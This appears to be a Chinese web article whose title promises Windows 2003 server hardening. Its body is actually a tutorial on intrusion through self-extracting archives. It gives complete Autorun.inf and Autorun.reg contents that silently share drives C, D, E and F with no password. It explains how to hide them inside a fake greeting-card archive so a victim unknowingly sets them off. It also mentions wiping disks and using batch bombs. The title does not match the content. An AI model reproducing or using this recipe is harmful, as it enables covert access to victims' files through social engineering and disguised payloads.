系統(tǒng)安全之WIN2003服務(wù)器安全加固方案

用自解壓包刪光別人的硬盤(pán)，相信大家都會(huì)。我給大家介紹個(gè)用自解壓包入侵的方法。
    如果捆綁一個(gè)木馬給別人，只要稍有常識(shí)的人有殺毒軟件就可以識(shí)破。如果不用木馬，用些批處理炸彈、碎片對(duì)象文件、或自導(dǎo)入注冊(cè)表文件，就可以實(shí)現(xiàn)各種攻擊。
    把以下兩行保存為Autorun.inf
    [Autorun]
    open=regedit /s Autorun.reg
    把以下一段保存為Autorun.reg
    REGEDIT4 小蟲(chóng)網(wǎng)絡(luò)技術(shù)http://www.chinaccna.com
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\c$]
    "Path"="c:\\"
    "Remark"=""
    "Type"=dword:00000000
    "Flags"=dword:00000192
    "Parm1enc"=hex:
    "Parm2enc"=hex:
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$]
    "Path"="D:\\"
    "Remark"=""
    "Type"=dword:00000000
    "Flags"=dword:00000192
    "Parm1enc"=hex: 　　
    "Parm2enc"=hex:
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\E$]
    "Path"="E:\\"
    "Remark"=""
    "Type"=dword:00000000
    "Flags"=dword:00000192
    "Parm1enc"=hex:
    "Parm2enc"=hex:
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\F$]
    "Path"="F:\\"
    "Remark"=""
    "Type"=dword:00000000
    "Flags"=dword:00000192
    "Parm1enc"=hex:
    "Parm2enc"=hex:
    比如在當(dāng)今電子賀卡漫天飛的時(shí)代，可以把你的自解壓包命名為“猴年賀卡”，包里包個(gè)真賀卡，順便把以上兩個(gè)文件打包進(jìn)去，注意要指定文　　件解包路徑。當(dāng)收賀卡人點(diǎn)擊自解壓包時(shí)真賀卡被解壓的同時(shí)，兩個(gè)文件就悄悄的被解到指定位置。Autorun.inf必須解到某一分區(qū)的根目錄，名字不能變，可以設(shè)置文件隱藏屬性。
    Autorun.reg文件名和釋放目錄可以任意，可以更好的隱藏，注意Autorun.inf指向目錄正確的地方。
    當(dāng)受害人雙擊有Autorun.inf的分區(qū)時(shí)，他的硬盤(pán)C、D、E、F分區(qū)就被打開(kāi)公享。